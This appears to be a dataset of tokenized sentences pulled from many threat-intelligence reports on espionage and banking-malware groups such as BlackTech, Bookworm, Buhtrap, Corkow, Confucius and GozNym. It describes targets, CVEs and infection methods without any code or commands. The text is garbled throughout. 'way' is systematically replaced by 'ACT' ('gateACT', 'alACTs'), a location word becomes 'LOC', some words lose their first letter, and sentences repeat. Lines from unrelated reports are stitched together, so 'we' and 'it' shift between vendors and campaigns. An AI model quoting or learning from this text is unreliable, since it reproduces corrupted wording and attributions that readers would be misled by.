Researchers from various security organizations have used a variety of names to assign responsibility for the hacks , including LEAD , BARIUM , Wicked Panda , GREF , PassCV , Axiom , and Winnti .
It targets organizations in Japan , South Korea , and Taiwan , leveling its attacks on public sector agencies and telecommunications and other high-technology industries .
In 2016 , for instance , we found their campaigns attacking Japanese organizations with various malware tools , notably the Elirks backdoor .
Blackgear has been targeting various industries since its emergence a decade ago .
Blackgear 's campaigns also use email as an entry point , which is why it's important to secure the email gateACT .
BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years .
Our research indicates that it has started targeting Japanese users .
The malware tools used by BLACKGEAR can be categorized into three categories : binders , downloaders and backdoors .
Binders are delivered by attack vectors ( such as phishing and watering hole attacks ) onto a machine .
Based on the mutexes and domain names of some of their C&C servers , BlackTech 's campaigns are likely designed to steal their target 's technology .
Following their activities and evolving tactics and techniques helped us uncover the proverbial red string of fate that connected three seemingly disparate campaigns : PLEAD , Shrouded Crossbow , and of late , Waterbear .
Active since 2012 , it has so far targeted Taiwanese government agencies and private organizations .
PLEAD uses spear-phishing emails to deliver and install their backdoor , either as an attachment or through links to cloud storage services .
PLEAD also dabbled with a short-lived , fileless version of their malware when it obtained an exploit for a Flash vulnerability ( CVE-2015-5119 ) that was leaked during the Hacking Team breach .
PLEAD also uses CVE-2017-7269 , a buffer overflow vulnerability Microsoft Internet Information Services ( IIS ) 6.0 to compromise the victim 's server .
This campaign , first observed in 2010 , is believed to be operated by a well-funded group given how it appeared to have purchased the source code of the BIFROST backdoor , which the operators enhanced and created other tools from .
Shrouded Crossbow targeted privatized agencies and government contractors as well as enterprises in the consumer electronics , computer , healthcare , and financial industries .
Shrouded Crossbow employs three BIFROST-derived backdoors : BIFROSE , KIVARS , and XBOW .
Like PLEAD , Shrouded Crossbow uses spear-phishing emails with backdoor-laden attachments that utilize the RTLO technique and accompanied by decoy documents .
XBOW 's capabilities are derived from BIFROSE and KIVARS ; Shrouded Crossbow gets its name from its unique mutex format .
While PLEAD and KIVARS are most likely to be used in first phase attacks , Waterbear can be seen as a secondary backdoor installed after attackers have gained a certain level of privilege .
Recently , the JPCERT published a thorough analysis of the Plead backdoor , which , according to Trend Micro , is used by the cyberespionage group BlackTech .
Despite the fact that the Changing Information Technology Inc. certificate was revoked on July 4 , 2017 , the BlackTech group is still using it to sign their malicious tools .
The BlackTech group is primarily focused on cyberespionage in Asia .
The new activity described in this blogpost was detected by ESET in Taiwan , where the Plead malware has alACTs been most actively deployed .
Attackers are targeting Windows platform and aiming at government institutions as well as big companies in Colombia .
Attackers like to use spear-fishing email with password protected RAR attachment to avoid being detected by the email gateACT .
The first sample being captured was in April 2018 and since that we observed a lot more related ones .
After performing investigations on the classified victims , we find the attacker targets big companies and government agencies in Colombia .
After monitoring and correlating the APT attack , 360 Threat Intelligence Center discovered multiple related emails to attack Colombian government agencies , financial institutions and large enterprises .
The oldest sample we've seen up to now is from November 2013 .
One of the top targets is the Japan Pension Service , but the list of targeted industries includes government and government agencies , local governments , public interest groups , universities , banks , financial services , energy and so on .
However , the attack is different in two respects : unlike other APTs , the main focus of Blue Termite is to attack Japanese organizations ; and most of their C2s are located in Japan .
Originally , the main infection vector of Blue Termite was spear-phishing emails .
Kaspersky Lab has detected a new method of first infection that uses a drive-by-download with a flash exploit ( CVE-2015-5119 , the one leaked from The Hacking Team incident ) .
Kaspersky Lab also found some watering hole attacks , including one on a website belonging to a prominent member of the Japanese government .
In early July 2015 , however , Kaspersky Lab found a sample that creates a decryption key with Salt1 , Salt2 , and Salt3 .
From early June , when the cyber-attack on the Japan Pension Service started to be reported widely , various Japanese organizations would have started to deploy protection measures .
It employs AES in addition to SID tricks , making it difficult to decrypt sensitive data .
In order to fight back against this cyber-espionage , Kaspersky Lab will continue its research .
Bookworm 's functional code is radically different from PlugX and has a rather unique modular architecture that warranted additional analysis by Unit 42 .
Bookworm has little malicious functionality built-in , with its only core ability involving stealing keystrokes and clipboard contents .
The Plead malware is a backdoor which , according to Trend Micro , is used by the BlackTech group in targeted attacks .
So far , it appears threat actors have deployed the Bookworm Trojan primarily in attacks on targets in Thailand .
The threat actors use a commercial installation tool called Smart Installer Maker to encapsulate and execute a self-extracting RAR archive and in some cases a decoy slideshow or Flash installation application .
The self-extracting RAR writes a legitimate executable , an actor-created DLL called Loader.dll and a file named readme.txt to the filesystem and then executes the legitimate executable .
targeted attacks .
Using XREFs during static analysis is a common technique to quickly find where functions of interest are called .
The developers designed Bookworm to be a modular Trojan not limited to just the initial architecture of the Trojan , as Bookworm can also load additional modules provided by the C2 server .
Although the developers of Bookworm have included only keylogging functionality in Bookworm as a core ability , as suggested in Table 1 , several of the embedded DLLs provide Leader with cryptographic and hashing functions , while others support Leader 's ability to communicate with its C2 server .
While we did not discuss the surrounding attacks using Bookworm in detail , we have observed threat actors deploying Bookworm primarily in attacks on targets in Thailand .
Also , Bookworm uses a combination of encryption and compression algorithms to obfuscate the traffic between the system and C2 server .
The developers of Bookworm have gone to great lengths to create a modular framework that is very flexible through its ability to run additional modules directly from its C2 server .
Unit 42 recently published a blog on a newly identified Trojan called Bookworm , which discussed the architecture and capabilities of the malware and alluded to Thailand being the focus of the threat actors' campaigns .
Leader is Bookworm 's main module and controls all of the activities of the Trojan , but relies on the additional DLLs to provide specific functionality .
The developers of Bookworm use these modules in a rather unique ACT , as the other embedded DLLs provide API functions for Leader to carry out its tasks .
Unit 42 does not have detailed targeting information for all known Bookworm samples , but we are aware of attempted attacks on at least two branches of government in Thailand .
We speculate that other attacks delivering Bookworm were also targeting organizations in Thailand based on the contents of the associated decoys documents , as well as several of the dynamic DNS domain names used to host C2 servers that contain the words " Thai " or " Thailand " .
We believe that it is likely threat actors will continue development Bookworm , and will continue to use it for the foreseeable future .
Threat actors have delivered Bookworm as a payload in attacks on targets in Thailand .
Analysis of compromised systems seen communicating with Bookworm C2 servers also confirms our speculation on targeting with a majority of systems existing within Thailand .
As mentioned in our previous blog on Bookworm , the Trojan sends a static date string to the C2 server that we referred to as a campaign code .
We believed that the actors would use this date code to track their attack campaigns ; however , after continued analysis of the malware , we think these static dates could also be a build identifier for the Trojan .
Threat actors may use the date string hardcoded into each Bookworm sample as a build identifier .
A Trojan sending a build identifier to its C2 server is quite common , as it notifies the threat actors of the specific version of the Trojan in which they are interacting .
Due to these changes without a new date string , we believe the date codes are used for campaign tracking rather than a Bookworm build identifier .
We believe that Bookworm samples use the static date string as campaign codes , which we used to determine the approximate date of each attack that we did not have detailed targeting information .
Another decoy slideshow associated with the Bookworm attack campaign contains photos of an event called Bike for Dad 2015 .
The campaign code " 20150920 " is associated with this decoy , which is a week prior to media articles announcing that the Crown Price of Thailand Maha Vajiralongkorn will lead the Bike for Dad 2015 event .
Chitpas is heavily involved with Thailand politics and was a core leader of the People 's Committee for Absolute Democracy ( PCAD ) , which is an organization that staged anti-government campaigns in 2013 and 2014 .
The final remaining known decoy includes photos of Chitpas Tant Kridakon ( Figure 7 ) , who is known as heiress to the largest brewery in Thailand .
These images were associated with the Bookworm campaign code " 20150905 " .
Unit 42 analyzed the systems communicating with the Bookworm C2 domains and found that a majority of the IP addresses existed within autonomous systems located in Thailand .
The pie chart in Figure 8 shows that the vast majority ( 73% ) of the hosts are geographically located in Thailand , which matches the known targeting of this threat group .
We believe that the IP addresses from Canada , Russia and NorACT are analysis systems of antivirus companies or security researchers .
Overall , the Bookworm infrastructure overlaps with the infrastructure hosting C2 servers used by various attack tools , including FFRAT , Poison Ivy , PlugX , and others .
Overall , the Bookworm infrastructure overlaps with the infrastructure hosting C2 servers used by various attack tools , including FFRAT , Poison Ivy , PlugX , and others .
Unit 42 enumerated the threat infrastructure related to Bookworm and created a chart to visualize connected entities to its current attack campaign .
Threat actors have targeted the government of Thailand and delivered the newly discovered Bookworm Trojan since July 2015 .
The actors appear to follow a set playbook , as the observed TTPs are fairly static within each attack in this campaign .
So far , Unit 42 has seen infrastructure overlaps with servers hosting C2 servers for samples of the FFRAT , PlugX , Poison Ivy and Scieron Trojans , suggesting that the threat actors use these tools as the payload in their attacks .
The threat actors have continually used Flash Player installers and Flash slideshows for decoys .
The vast majority of systems communicating with Bookworm C2 servers are within the Bangkok metropolitan LOC where a majority of the government of Thailand exists .
Buhtrap has been active since 2014 , however their first attacks against financial institutions were only detected in August 2015 .
At the moment , the group is known to target Russian and Ukrainian banks .
Buhtrap is the first hacker group using a network worm to infect the overall bank infrastructure that significantly increases the difficulty of removing all malicious functions from the network .
Malicious programs intentionally scan for machines with an automated Bank-Customer system of the Central bank of Russia ( further referred to as BCS CBR ) .
If the document was delivered with macros instead of exploits ( CVE-2012-0158 , CVE-2013-3906 or CVE-2014-1761 ) , then the document contained instructions for enabling macros .
We noticed that criminals were spreading Buhtrap using this method from May 2015 to August 2015 .
It is worth noting that attackers used the same compromised websites to spread Buhtrap as those that had been used for the Corkow Trojan .
Moreover , they used the same exploit kit Niteris as that in the Corkow case .
Purportedly during one of the first attacks hackers intercepted the mailing list of the Anti-drop " club and created a specific phishing email for its members .
However , it is still widely used , notably in Russia .
As noted in our previous blog on Buhtrap , this gang has been actively targeting Russian businesses , mostly through spear-phishing .
It is thus interesting to see Buhtrap add strategic web compromises to their arsenal .
The first malware we saw was the lurk downloader , which was distributed on October 26th .
The executable would install the real Ammyy product , but would also launch a file called either AmmyyService.exe or AmmyySvc.exe which contained the malicious payload .
Buhtrap is getting better at disguising the code they inject into compromised websites .
With the recent arrests of actors using the Lurk banking trojan , Buhtrap appears to be a likely alternative for actors wishing to target Russian banks and software .
They have different functions and ACTs of spreading , but the same purpose — to steal money from the accounts of businesses .
Our experts have found that cybercriminals are actively focusing on SMBs , and giving particular attention to accountants .
The first encounter with Buhtrap was registered back in 2014 .
For now , we can call RTM one of the most active financial Trojans .
At that time it was the name of a cybercriminal group that was stealing money from Russian financial establishments — to the tune of at least $150,000 per hit .
Buhtrap resurfaced in the beginning of 2017 in the TwoBee campaign , where it served primarily as means of malware delivery .
After the source codes of their tools became public in 2016 , the name Buhtrap was used for the financial Trojan .
Just like last time , Buhtrap is spreading through exploits embedded in news outlets .
Estimating the damages is challenging , but as we learned , the criminals are siphoning off assets in transactions that do not exceed $15,000 each .
As explained later , we believe this campaign is financially-motivated and that it targets accounting departments in Russian businesses .
" Buhgalter " means " accountant " in Russian .
Seeing a campaign like this , inevitably the Anunak/Carbanak documented by Fox-IT and Kaspersky comes to mind .
The infection vector is similar , it uses a similar modified mimikatz application , and it uses a third-party remote access tool , changes system settings to allow concurrent RDP sessions , and so on .
The second , aptly titled " kontrakt87.doc " , copies a generic telecommunications service contract from MegaFon , a large Russian mobile phone operator .
In addition to built-in functionalities , the operators of Careto can upload additional modules which can perform any malicious task .
Careto 's Mask campaign we discovered relies on spear-phishing e-mails with links to a malicious website .
Sometimes , the attackers use sub-domains on the exploit websites , to make them seem more legitimate .
These sub-domains simulate sub-sections of the main newspapers in Spain plus some international ones like the Guardian and the Washington Post .
The CVE-2012-0773 was originally discovered by VUPEN and has an interesting story .
In other words , the attackers attracted our attention by attempting to exploit Kaspersky Lab products .
We initially became aware of Careto when we observed attempts to exploit a vulnerability in our products to make the malware " invisible " in the system .
Most modules were created in 2012 .
The attackers began taking them offline in January 2014 .
Last week we discussed Numbered Panda , a group that is also based out of China and is fairly well known to the security community , though by many names .
We revealed a Chinese-based adversary we crypt as Anchor Panda , a group with very specific tactics , techniques , and procedures ( TTPs ) and a keen interest in maritime operations and naval and aerospace technology .
The campaign was active until January 2014 , but during our investigations the C&C servers were shut down .
This week we are going to discuss Clever Kitten , whom , by virtue of several indicators , we have affiliated with the Islamic Republic of Iran .
Clever Kitten has moved to leveraging strategic web compromises .
Clever Kitten actors have a strong affinity for PHP server-side attacks to make access ; this is relatively unique amongst targeted attackers who often favor targeting a specific individual at a specific organization using social engineering .
Clever Kitten primarily targets global companies with strategic importance to countries that are contrary to Iranian interests .
A Clever Kitten attack starts with the use of a web vulnerability scanner to conduct reconnaissance .
The scanner was identified as the Acunetix Web Vulnerability Scanner which is a commercial penetration testing tool that is readily available as a 14-day trial .
Once an exploitable page is identified , Clever Kitten will attempt to upload a PHP backdoor to gain remote access to the system .
The reason for this is likely the availability of exploits against web browsers , which for a variety of reasons allows an attacker to bypass security features such as Data Execution Prevention ( DEP ) or Address Space Layout Randomization ( ASLR ) .
Once an exploitable page is identified , the actor will attempt to upload a PHP backdoor to gain remote access to the system .
In Clever Kitten 's attacks , the goal is lateral movement ; this is an attempt to move further into the target environment in order to begin intelligence collection .
This activity is a longer tail for the actor than a spearphish ; this is likely based on the Clever Kitten background , which may be focused on web development/application testing .
Without going too deep into the rabbit hole , there are several indicators pointing to an Iranian nexus , including language artifacts in the tool-marks used by the attacker , as well as network activity tying this actor to a very specific location that we have high confidence in not being spoofed .
Clever Kitten 's goal is to eventually be able to masquerade as a legitimate user by compromising credentials either through a pass-the-hash attack , or by dumping password hashes from a compromised host .
The campaign targets Middle Eastern organizations largely from the Lebanon and United Arab Emirates , though , Indian and Canadian companies with interests in those Middle Eastern countries are also targeted .
There are new TTPs used in this attack – for example Agent_Drable is leveraging the Django Python framework for command and control infrastructure , the technical details of which are outlined later in the blog .
n summary , Cold River is a sophisticated threat actor making malicious use of DNS tunneling for command and control activities , compelling lure documents , and previously unknown implants .
Some of the exploit server paths contain modules that appear to have been designed to infect Linux computers , but we have not yet located the Linux backdoor .
The campaign targets Middle Eastern organizations largely from the Lebanon and United Arab Emirates , though , Indian and Canadian companies with interests in those Middle Eastern countries may have also been targeted .
The decoy documents used by the InPage exploits suggest that the targets are likely to be politically or militarily motivated .
The use of InPage as an attack vector is not commonly seen , with the only previously noted attacks being documented by Kaspersky in late 2016 .
The decoy documents dropped suggest that the targets are likely to be politically or militarily motivated , with subjects such as Intelligence reports and political situations being used as lure documents .
While documents designed to exploit the InPage software are rare , they are not new – however in recent weeks Unit42 has observed numerous InPage exploits leveraging similar shellcode , suggesting continued use of the exploit previously discussed by Kaspersky .
Confucius targeted a particular set of individuals in South Asian countries , such as military personnel and businessmen , among others .
Tweety Chat 's Android version can record audio , too .
Confucius' operations include deploying bespoke backdoors and stealing files from their victim 's systems with tailored file stealers , some of which bore resemblances to Patchwork 's .
Compared to Patchwork , whose Trojanized documents exploit at least five security flaws , Confucius' backdoors are delivered through Office files exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
Back in February , we noted the similarities between the Patchwork and Confucius groups and found that , in addition to the similarities in their malware code , both groups primarily went after targets in South Asia .
Back in February , Trend Micro noted the similarities between the Patchwork and Confucius groups and found that , in addition to the similarities in their malware code , both groups primarily went after targets in South Asia .
One of its file stealers , swissknife2 , abuses a cloud storage service as a repository of exfiltrated files .
During the months that followed in which we tracked Confucius' activities , we found that they were still aiming for Pakistani targets .
During their previous campaign , we found Confucius using fake romance websites to entice victims into installing malicious Android applications .
Periodically , the malware tries to contact the command-and-control ( C&C ) server with the username encoded into parameters .
This function is similar to the various versions of backdoors ( such as sctrls and sip_telephone ) that we analyzed in our previous blog post and whitepaper .
This algorithm was previously discussed by security researchers in a Confucius-related blog post .
Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 .
The group still uses the Badnews malware , a backdoor with information-stealing and file-executing capabilities , albeit updated with a slight modification in the encryption routine at the end of 2017 , when they added Blowfish encryption on top of their custom encryption described in our former Patchwork blogpost .
Threat actors like Confucius and Patchwork are known for their large arsenal of tools and ever-evolving techniques that can render traditional security solutions — which are often not designed to handle the persistent and sophisticated threats detailed in this blog — ineffective .
The reality is that IT departments of small to large-sized organizations are not equipped to handle the more advanced threats that groups like Confucius use in their attacks .
Patchwork uses email as an entry point , which is why securing the email gateACT is important .
This blog post examines two similar malware families that utilize the aforementioned technique to abuse legitimate websites , their connections to each other , and their connections to known espionage campaigns .
In order to increase the likelihood of their malware successfully communicating home , Cyber Espionage threat actors are increasingly abusing legitimate web services , in lieu of DNS lookups to retrieve a command and control address .
In 2013 , Rapid7 reported on a series of relatively amateur attacks against Pakistani targets .
The first of which we call ' CONFUCIUS_A ' , a malware family that has links to a series of attacks associated with a backdoor attack method commonly known as SNEEPY ( aka ByeByeShell ) first reported by Rapid7 in 2013 .
At first glance CONFUCIUS_B looks very similar to CONFUCIUS_A , and they are also packaged in plain SFX binary files .
The CONFUCIUS_B executable is disguised as a PowerPoint presentation , using a Right-To-Left-Override ( RTLO ) trick and a false icon .
We also believe that both clusters of activity have links to attacks with likely Indian origins , the CONFUCIUS_A attacks are linked to the use of SNEEPY/BYEBYESHELL and the CONFUCIUS_B have a loose link to Hangover .
The two malware families themselves are also very similar , and therefore we think that the shared technique is an indication of a single developer , or development company , behind both CONFUCIUS_A and CONFUCIUS_B .
In this blog post , we discussed two separate malware variations that behave in very similar ACTs and use similar techniques to acquire a C2 address , with both using Yahoo Answers and Quora to evade traditional mechanisms for blocking command and control domains .
The Android version , for instance , can steal SMS messages , accounts , contacts , and files , as well as record audio .
Confucius' backdoors are delivered through Office documents exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
We dove deeper into Confucius' operations—namely , the malware-ridden documents , backdoors , and file stealers they use in their campaigns .
The sctrls backdoor we came across is delivered via RTF files exploiting CVE-2015-1641 .
The documents that exploit CVE2017-11882 download another payload — an HTML Application ( HTA ) file toting a malicious Visual Basic ( VBS ) script — from the server , which is executed accordingly by the command-line tool mshta.exe .
In August 2015 a new incident related to the Corkow ( Metel ) Trojan was detected .
Corkow provided remote access to the ITS-Broker system terminal by 《 Platforma soft 》 Ltd. , which enabled the fraud to be committed .
According to our statistics , as of the beginning of 2015 this botnet encompassed over 250 000 infected devices worldwide including infecting more than 100 financial institutions with 80% of them from the top 20 list .
The interest among hackers in targeting trading systems is expected to grow .
Russian-speaking hackers are believed to be responsible for these attacks and used the Corkow Trojan .
Hackers target primarily companies in Russia and CIS countries , though it is noticed that the amount of attacks targeting the USA has increased 5 times since 2011 .
One of the first botnets specializing in targeting the trading software called Quik was " Ranbyus " , created in 2012 .
As of the Group-IB investigation of this malware program in March 2015 , Corkow v.7.118.1.1 had not been detected by a single antivirus program .
Hackers gained access to a computer in the trading system in September 2014 .
Starting in December 2014 , the criminal group began running keyloggers in the infected system .
To spread the Corkow malware criminals use a drive-by downloads method , when victims are infected while visiting compromised legitimate websites .
Group-IB specialists detected various sites used by criminals to spread the Trojan : mail tracking websites , news portals , electronic books , computer graphics resources , music portals , etc .
Hackers use the exploits " Nitris Exploit Kit " ( earlier known as CottonCastle ) , which is not available in open sources and sold only to trusted users .
Group-IB Bot-trek TDS sensors are in place at a number of financial institutions and , unfortunately , we register that currently Corkow malware is present on 80% of protected corporate systems .
Considering the Trojan delivery method and through our analysis of infections on banks' networks , we can confirm that all infections were conducted on a random basis .
According to statistics , Corkow primarily targets users in Russia and the CIS , but it is worth noting that in 2014 the amount of attacks targeting the USA increased by 5 times , in comparison with 2011 .
Moreover , the number of Corkow incidents detected in Q1 2015 in the United States exceeds the number of those in the CIS countries .
Moreover , the number of Corkow incidents detected in Q1 2015 in the United States exceeds the number of those in the CIS countries .
Hackers first actively spread bots using the Niteris exploit , and then search for infected devices at banks amongst their bots by analyzing IP addresses , cracked passwords and results of the modules performance .
In addition to the legitimate AmmyAdmin tool , the hackers used Visconti Backdoor developed based on legitimate RMS ( remote manipulator system ) software .
If a bot was installed on a network that was of interest to the hacking group , this bot was then used to upload one of the remote access programs .
To obtain logins and passwords they applied keyloggers built into Corkow , as well as a commonly used feature of Mimikatz , dumping clear text Windows credentials from LSA .
Hackers used the remote access to detect servers of their interest in the internal network .
In 2015 , the Metel gang began to target banks and financial institutions directly .
Metel is a banking Trojan ( also known as Corkow ) discovered in 2011 when it was used to attack users of online banking services .
After the infection stage , criminals move laterally with the help of legitimate and pentesting tools , stealing passwords from their initial victims ( entry point ) to gain access to the computers within the organization that have access to money transactions .
With this level of access , the gang has been able to pull off a clever trick by automating the rollback of ATM transactions .
COVELLITE operates globally with targets primarily in Europe , East Asia , and North America .
US targets emerged in September 2017 with a small , targeted phishing campaign directed at select U.S. electric companies .
LAZARUS GROUP is responsible for attacks ranging from the 2014 attack on Sony Pictures to a number of Bitcoin heists in 2017 .
Technical analysis of COVELLITE malware indicates an evolution from known LAZARUS toolkits .
COVELLITE remains active but appears to have abandoned North American targets , with indications of activity in Europe and East Asia .
Given the group 's specific interest in infrastructure operations , rapidly improving capabilities , and history of aggressive targeting , Dragos considers this group a primary threat to the ICS industry .
Delivering a backdoor and spyware , this campaign was designed to steal information from infected systems using a malware client capable of filtering out " uninteresting " files , and spread primarily via a targeted phishing email usually promising a pornographic video .
Lookout researchers have discovered a new mobile surveillanceware family , FrozenCell .
The threat is likely targeting employees of various Palestinian government agencies , security services , Palestinian students , and those affiliated with the Fatah political party .
Delivering a backdoor and spyware , Desert Falcons 's campaign was designed to steal information from infected systems using a malware client capable of filtering out " uninteresting " files , and spread primarily via a targeted phishing email usually promising a pornographic video .
FrozenCell is the mobile component of a multi-platform attack we've seen a threat actor known as " Two-tailed Scorpion/APT-C-23 " , use to spy on victims through compromised mobile devices and desktops .
This threat is another proof point that attackers are clearly incorporating the mobile device into their surveillance campaigns as a primary attack vector .
Desert Falcons is keenly aware of the information they can derive from these devices and are using multi-stage ( phishing + an executable ) , multi-platform ( Android + desktop ) attacks to accomplish their spying .
FrozenCell masquerades as fake updates to chat applications like Facebook , WhatsApp , Messenger , LINE , and LoveChat .
For example , the actors behind FrozenCell used a spoofed app called Tawjihi 2016 , which Jordanian or Palestinian students would ordinarily use during their general secondary examination .
It appears the Desert Falcons sent malicious executables though phishing campaigns impersonating individuals associated with the Palestinian Security Services , the General Directorate of Civil Defence - Ministry of the Interior , and the 7th Fateh Conference of the Palestinian National Liberation Front ( held in late 2016 ) .
The titles and contents of these files suggest that the actor targeted individuals affiliated with these government agencies and the Fatah political party .
We believe that this is a new variant of VAMP , indicating that the threat actors behind APT-C-23 are still active and continuously improving their product .
VAMP targeted various types of data from the phones of victims : images , text messages , contacts , and call history , among others .
Recently , Trend Micro researchers came across a new mobile malware family which we have called GnatSpy .
On Nov. 27 , 2018 , Cisco 's Talos research division published a write-up outlining the contours of a sophisticated cyber espionage campaign it dubbed DNSpionage .
Talos said the perpetrators of DNSpionage were able to steal email and other login credentials from a number of government and private sector entities in Lebanon and the United Arab Emirates by hijacking the DNS servers for these targets , so that all email and virtual private networking ( VPN ) traffic was redirected to an Internet address controlled by the attackers .
Talos reported that these DNS hijacks also paved the ACT for the attackers to obtain SSL encryption certificates for the targeted domains ( webmail.finance.gov.lb ) , which allowed them to decrypt the intercepted email and VPN credentials and view them in plain text .
That changed on Jan. 25 , 2019 , when security firm CrowdStrike published a blog post listing virtually every Internet address known to be ( ab )used by the espionage campaign to date .
Working backwards from each Internet address , I was able to see that in the last few months of 2018 the hackers behind DNSpionage succeeded in compromising key components of DNS infrastructure for more than 50 Middle Eastern companies and government agencies , including targets in Albania , Cyprus , Egypt , Iraq , Jordan , Kuwait , Lebanon , Libya , Saudi Arabia and the United Arab Emirates .
PCH is a nonprofit entity based in northern California that also manages significant amounts of the world 's DNS infrastructure , particularly the DNS for more than 500 top-level domains and a number of the Middle East top-level domains targeted by DNSpionage .
This APT group usually carries out target attacks against government agencies to steal sensitive information .
In addition to spreading malware via spear fishing email with Office attachment containing either vulnerability or malicious macro , this group is particularly good at leveraging malicious Android APKs in the target attacks .
We named the actor DustSquad and have provided private intelligence reports to our customers on four of their campaigns involving custom Android and Windows malware .
In this blogpost we cover a malicious program for Windows called Octopus that mostly targets diplomatic entities .
We also started monitoring the malware and , using Kaspersky Attribution Engine based on similarity algorithms , discovered that Octopus is related to DustSquad , something we reported in April 2018 .
From early 2014 until December 2018 , ns0.idm.net.lb pointed to 194.126.10.18 , which appropriately enough is an Internet address based in Lebanon .
Kaspersky Lab products detect the Octopus Trojan as Trojan.Win32.Octopus.gen .
Political entities in Central Asia have been targeted throughout 2018 by different actors , including IndigoZebra , Sofacy ( with Zebrocy malware ) and most recently by DustSquad ( with Octopus malware ) .
El Machete is one of these threats that was first publicly disclosed and named by Kaspersky here .
We've found that this group has continued to operate successfully , predominantly in Latin America , since 2014 .
All attackers simply moved to new C2 infrastructure , based largely around dynamic DNS domains , in addition to making minimal changes to the malware in order to evade signature-based detection .
In the case of Octopus , DustSquad used Delphi as their programming language of choice , which is unusual for such an actor .
Targets included a wide array of high-profile entities , including intelligence services , military , utility providers ( telecommunications and power ) , embassies , and government institutions .
Some time ago , a Kaspersky Lab customer in Latin America contacted us to say he had visited China and suspected his machine was infected with an unknown , undetected malware .
It was a targeted attack we are calling " Machete " .
At first look , it pretends to be a Java related application but after a quick analysis , it was obvious this was something more than just a simple Java file .
" Machete " is a targeted attack campaign with Spanish speaking roots .
The decoy slideshows all contain photos from very meaningful events to individuals in Thailand , suggesting that the actors continually look for impactful events to use to disguise their attacks .
In some cases , such as Russia , the target appears to be an embassy from one of the countries of this list .
Both attackers and victims speak Spanish natively , as we see it consistently in the source code of the client side and in the Python code .
We are also grateful to the Private Office of his Holiness the Dalai Lama , the Tibetan Government-in-Exile , the missions of Tibet in London , Brussels , and New York , and Drewla ( a Tibetan NGO ) .
Between June 2008 and March 2009 the Information Warfare Monitor conducted an extensive and exhaustive two-phase investigation focused on allegations of Chinese cyber espionage against the Tibetan community .
These instances of Gh0st RAT are consistently controlled from commercial Internet access accounts located on the island of Hainan , People's Republic of China .
The fieldwork generated extensive data that allowed us to examine Tibetan information security practices , as well as capture real-time evidence of malware that had penetrated Tibetan computer systems .
It is therefore possible that the large percentage of high value targets identified in our analysis of the GhostNet are coincidental , spread by contact between individuals who previously communicated through e-mail .
Where they exist , they often use grey market or pirated software .
Contextually relevant emails are sent to specific targets with attached documents that are packed with exploit code and Trojan horse programmes designed to take advantage of vulnerabilities in software installed on the target 's computer .
GhostNet represents a network of compromised computers resident in high-value political , economic , and media locations spread across numerous countries worldwide .
After that , the attacker is capable to control the compromised device .
The computers of diplomats , military attachés , private assistants , secretaries to Prime Ministers , journalists and others are under the concealed control of unknown assailant .
The C&C server ( 82.137.255.56 ) used by the above backdoors was used by APT-C-27 ( Goldmouse ) many times since 2017 .
According to 360 Threat Intelligence Center , Goldmouse was observed deploying the nebulous njRAT backdoor .
The banking malware GozNym has legs ; only a few weeks after the hybrid Trojan was discovered , it has reportedly spread into Europe and begun plaguing banking customers in Poland with redirection attacks .
The APT group is reportedly targeting the Middle East region .
The malware has started targeting corporate , SMB , investment banking and consumer accounts at banks , including some in Portugal and the U.S. , in addition to Poland , according to researchers at IBM 's X-Force team .
According to Kessem the malware has redirection instructions for 17 banks , and features an additional 230 URLs to assist attackers in targeting community banks and email service providers in Poland .
With GozNym , attackers dupe users by showing them the actual bank 's URL and SSL certificate .
Fresh from targeting banks in Poland , the banking Trojan GozNym has begun taking aim at banks in Germany .
Attackers went on to use the Trojan to steal $4 million from 24 banks , including 22 in the United States and two in Canada , in just two weeks .
Recreating and maintaining fake bank sites can be an arduous task , but Kessem claims the GozNym group appears up to the task .
The malware is distributed primarily through laced spam emails that lure recipients into opening attachments .
Fresh from targeting banks in Poland , the banking Trojan has reportedly begun taking aim at banks in Germany .
Now GozNym is now targeting 13 banks and subsidiaries in Germany , Limor Kessem , Executive Security Advisor at IBM , said Tuesday .
he Trojan , a hybrid of Nymaim and Gozi malware , initially formed in April and thrives on carrying out redirection attacks via DNS poisoning .
In April , shortly after the Trojan 's discovery , researchers observed a massive GozNym campaign targeting 24 North American banks .
The method , which technically redirects users through local DNS poisoning , requires a fair bit of work ; recreating and maintaining fake bank sites can be an arduous task , but Kessem claims the group behind GozNym – Nymaim – appear up to the task .
Attackers behind Dyre have used similar tactics in the past but have only deployed their attacks in English speaking countries and Spain .
When we last heard from the Trojan , its operators were seen launching redirection attacks on four large , U.S. banks in June .
The fact that the cybercriminals behind GozNym have already adapted the Trojan for three different languages and in countries which have different banking systems is unique , according to Kessem .
By the end of April , GozNym had redirection instructions for 17 Polish banks in its repertoire , along with an extra 230 URLs designed to assist attackers in targeting community banks and email service providers in the Eastern European country .
Seeking to tease out any possible links between Operation Aurora , VOHO , Operation DeputyDog , and Ephemeral Hydra , we began with Symantec 's Hidden Lynx report as our foundation .
The authors of that report identify three primary tools used in the campaigns attributed to Hidden Lynx : Trojan.Naid , Backdoor.Moudoor , and Backdoor.Hikit .
We will detail how the C&C infrastructure and tools used by hacker group Hidden Lynx during its VOHO campaign ( 2012 ) , excellently documented by Symantec researchers last September , overlap with tools used in other high profile operations during the past few years .
When the New York Times and Mandiant last year unmasked a large scale Chinese hacking operation , pinpointing its location down to the building , the report drew mainstream attention to what security professionals already well knew : sophisticated threat actors carry out persistent cyber operations over months and years .
By the end of April , GozNym had redirection instructions for 17 Polish banks in its repertoire , along with an extra 230 URLs designed to assist attackers in targeting community banks and email service providers in the Eastern European country .
Using Recorded Future , we quickly built a timeline of the reported use of those tools in major security incidents , finding many events prior to the early 2013 exposé on Hidden Lynx .
In particular , FireEye during the fall of 2013 called out infrastructure overlap between Ephemeral Hydra and DeputyDog .
The above network shows relationships between three tools used by Hidden Lynx during its VOHO campaign : Trojan.Naid , Backdoor.Moudoor , and Backdoor.Hikit .
Symantec during 2012 linked the Elderwood Project to Operation Aurora ; Trojan.Naid and Backdoor.Moudoor were also used in Aurora , by the Elderwood Gang , and by Hidden Lynx .
In addition to these , we also identified " Macfog " , a native Mac OS X implementation of Icefog that infected several hundred victims worldwide .
Icefog , also known as the " Dagger Panda " by Crowdstrike 's naming convention , infected targets mainly in South Korea and Japan .
In 2013 , a public report reveals a group of actors conducted targeted attacks leverage a malware dubbed ICEFOG against mainly government organizations and defense industry of South Korea and Japan .
